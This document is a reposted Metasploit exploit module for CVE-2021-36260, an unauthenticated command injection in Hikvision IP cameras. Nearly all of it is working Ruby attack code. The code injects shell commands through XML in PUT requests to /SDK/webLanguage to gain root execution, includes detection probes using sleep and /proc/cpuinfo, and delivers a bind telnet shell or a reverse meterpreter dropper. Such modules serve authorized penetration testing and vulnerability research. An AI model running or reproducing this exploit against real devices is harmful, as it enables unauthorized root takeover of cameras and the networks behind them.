Hikvision IP Camera Unauthenticated Command Injection

This Metasploit module exploits an unauthenticated command injection in a variety of Hikvision IP cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an HTTP PUT request sent to the /SDK/webLanguage endpoint, resulting in command execution as the root user. This module specifically attempts to exploit the blind variant of the attack. The module was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725. Please see the Hikvision advisory for a full list of affected products.


MD5 | 5915515ab176b9669f35263d2f8c1098

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Hikvision IP Camera Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection in a variety of Hikvision IP
cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an
HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution
as the `root` user.

This module specifically attempts to exploit the blind variant of the attack. The module
was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It
was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.
Please see the Hikvision advisory for a full list of affected products.
},
'License' => MSF_LICENSE,
'Author' => [
'Watchful_IP', # Vulnerability discovery and disclosure
'bashis', # Proof of concept
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-36260' ],
[ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'],
[ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'],
[ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py']
],
'DisclosureDate' => '2021-09-18',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# the target has very limited payload targets and a tight payload space.
# bind_busybox_telnetd might be *the only* one.
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
# saving four bytes of payload space by using 'sh' instead of '/bin/sh'
'LOGIN_CMD' => 'sh',
'Space' => 23
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf', 'echo' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

# Check will test two things:
# 1. Is the endpoint a Hikvision camera?
# 2. Does the endpoint respond as expected to exploitation? This module is
# specifically testing for the blind variant of this attack so we key off
# of the returned HTTP status code. The developer's test target responded
# to exploitation with a 500. Notes from bashis' exploit indicates that
# they saw targets respond with 200 as well, so we'll accept that also.
def check
# Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript:
# <script>
# window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime();
# </script>
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/')
})
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')

payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
'data' => payload
})

return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)

# Some cameras are not vulnerable and still respond 500. We can weed them out by making
# the remote target sleep and use a low timeout. This might not be good for high latency targets
# or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
# 500 responses as vulnerable.
payload = '<xml><language>$(sleep 20)</language></xml>'
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
'data' => payload
}, 10)

return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res

CheckCode::Safe('The target did not execute the provided sleep command.')
end

def execute_command(cmd, _opts = {})
# The injection space is very small. The entire snprintf is 0x1f bytes and the
# format string is:
#
# /dav/%s.tar.gz
#
# Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately,
# snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for
# our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes
# for payload. The 'echo' stager has a minium of 26 bytes but we obviously don't
# have that much space. We can steal the extra space from the "random" file name
# and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra
# bytes will also allow printf stager to do more than 1 byte per exploitation.
cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname)
cmd = cmd.gsub(/ >/, '>')
cmd = cmd.gsub(/> /, '>')

payload = "<xml><language>$(#{cmd})</language></xml>"
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
'data' => payload
})

fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500)
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

# generate a random value for the tmp file name. See execute_command for details
@fname = "tmp/#{Rex::Text.rand_text_alpha(1)}"

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# 26 is technically a lie. See `execute_command` for additional insight
execute_cmdstager(linemax: 26)
end
end
end

Related Posts